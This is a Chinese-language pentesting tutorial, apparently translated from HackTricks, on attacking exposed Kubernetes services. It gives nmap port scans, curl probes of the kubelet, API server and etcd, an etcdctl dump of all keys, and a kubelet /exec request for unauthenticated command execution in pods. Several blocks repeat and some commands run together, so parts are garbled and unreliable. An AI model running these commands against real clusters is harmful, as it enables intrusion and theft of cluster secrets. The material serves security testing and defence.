Kubernetes简介
Kubernetes 使用几个特定的网络服务,一旦你破坏了一个pod,你可能会发现它们暴露在互联网或内部网络中。
https:
/
/cloud.hacktricks.xyz/pentesting
-cloud/kubernetes-pentesting/exposing-services-
in
-kubernetes
通过端口扫描查找暴露的 pod
Nmap扫描
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134
<
pod_ipaddress
>
/16
Kube-apiserver
管理员通常使用该工具操作API Kubernetes 服务。Common ports: 6443 and 443, but also 8443 in minikube and 8080 as insecure.6
查看以下页面以了解如何获取敏感数据并执行与此服务对话的敏感操作
https:
//cloud.hacktricks.xyz/pentesting-cloud/kubernetes-pentesting/kubernetes-enumeration
curl
-k https://<IP Address>:(
8
|
6
)
443
/swaggerapi
curl -k https://<IP Address>:(
8
|
6
)
443
/healthz
curl -k https://<IP Address>:(
8
|
6
)
443
/api/v1
Kubelet API
这个服务在集群中的每个节点上运行,它是控制节点内的pods的服务,与kube-apiserver对话,如果你发现这个服务被暴漏,很可能是一个未经身份验证的RCE
curl
-k https://<IP address>:
10250
/metricscurl -k https://<IP address>:
10250
/pods
如果响应是,Unauthorized则它需要身份验证。
如果你可以列出节点,通过以下方式获得 kubelet 端点列表
kubectl get nodes -o custom-columns=
'IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port'
| grep -v KUBELET_PORT |
while
IFS=
''
read
-r node;
do
ip=$(
echo
$node
| awk
'{print $1}'
) port=$(
echo
$node
| awk
'{print $2}'
)
echo
"curl -k --max-time 30 https://
$ip
:
$port
/pods"
echo
"curl -k --max-time 30 https://
$ip
:2379/version"
#Check also for etcddone
curl
-k https://<IP address>:
10250
/metricscurl -k https://<IP address>:
10250
/pods
如果响应是,Unauthorized则它需要身份验证。
如果你可以列出节点,通过以下方式获得 kubelet 端点列表
kubectl get nodes -o custom-columns=
'IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port'
| grep -v KUBELET_PORT |
while
IFS=
''
read
-r node;
do
ip=$(
echo
$node
| awk
'{print $1}'
) port=$(
echo
$node
| awk
'{print $2}'
)
echo
"curl -k --max-time 30 https://
$ip
:
$port
/pods"
echo
"curl -k --max-time 30 https://
$ip
:2379/version"
#Check also for etcddone
kubelet (Read only)
curl -k https:
//<IP Address>:10255
http:
//<external-IP>:10255/pods
etcd API
curl
-k https://<IP address>:
2379
curl -k https://<IP address>:
2379
/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Tiller
helm
--host
tiller-deploy
.kube-system
:44134
version
你可以滥用这个服务来提升Kubernetes内部的权限:
curl -k https:
//<IP Address>:10255
http:
//<external-IP>:10255/pods
etcd API
curl
-k https://<IP address>:
2379
curl -k https://<IP address>:
2379
/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Tiller
helm
--host
tiller-deploy
.kube-system
:44134
version
你可以滥用这个服务来提升Kubernetes内部的权限:
cAdvisor
对收集指标有用的服务
curl
-k https://<IP Address>:
4194
NodePort
当一个端口通过NodePort暴露在所有的节点中时,同样的端口会在所有的节点中打开,使流量进入所声明的服务。默认情况下,这个端口将在30000-32767的范围内。所以新的未被选中的服务可能会通过这些端口被访问。
sudo nmap -sS -p 30000-32767
<
IP
>
curl
-k https://<IP Address>:
4194
NodePort
当一个端口通过NodePort暴露在所有的节点中时,同样的端口会在所有的节点中打开,使流量进入所声明的服务。默认情况下,这个端口将在30000-32767的范围内。所以新的未被选中的服务可能会通过这些端口被访问。
sudo nmap -sS -p 30000-32767
<
IP
>
易受攻击的错误配置
Kube-apiserver的匿名访问:默认情况下,kube-apiserver的API端点是禁止匿名的。但检查是否有任何不安全的端点暴露敏感信息总是一个好主意
检查 ETCD 匿名访问
ETCD 存储集群机密、配置文件和更多敏感数据。默认情况下,ETCD不能匿名访问,但检查总是好的。如果可以匿名访问 ETCD,则可能需要使用etcdctl工具。以下命令将获取存储的所有密钥:
etcdctl
--endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Kubelet RCE
Kubelet 文档解释说,默认情况下允许匿名访问该服务:启用对 Kubelet 服务器的匿名请求。未被其他身份验证方法拒绝的请求被视为匿名请求。匿名请求的用户名是system:anonymous,组名是system:unauthenticated.要更好地了解Kuebelet API 的身份验证和授权如何工作,请查看此页面:
https:
/
/cloud.hacktricks.xyz/pentesting
-cloud/kubernetes-pentesting/pentesting-kubernetes-services/kubelet-authentication-
and
-authorization
Kubelet API 没有文档记录,但可以在此处找到源代码,找到暴露的端点就像运行一样简单:
curl
-s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep
'Path("/'
Path(
"/pods"
).
Path(
"/run"
)
Path(
"/exec"
)
Path(
"/attach"
)
Path(
"/portForward"
)
Path(
"/containerLogs"
)
Path(
"/runningpods/"
).
/pods
此端点列出 pod 及其容器:
curl -ks https://worker:10250/pods
/exec
# Tthe command is passed as an array (split by spaces) and that is a GET request.
curl -Gks
https:
/
/worker:10250/exec
/{namespace}/
{pod}/{container}
-d
'input=1'
-d
'output=1'
-d
'tty=1'
-d
'command=ls'
-d
'command=/'
要自动化利用,您还可以使用脚本kubelet-anon-rce。为了避免这种攻击,应该运行kubelet服务,并且应该在网络级别隔离该服务。--anonymous-auth
检查Kubelet(只读端口)信息暴露情况
当kubelet 只读端口暴露时,攻击者可以从 API 中检索信息。这会暴露集群配置元素,例如 pod 名称、内部文件的位置和其他配置。这不是关键信息,但仍不应暴露在互联网上。
例如,远程攻击者可以通过访问以下 URL 来滥用它:
http://<external-IP>:10255/pods
原文始发于微信公众号(安全帮Live):云安全 | Kubernetes服务渗透(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论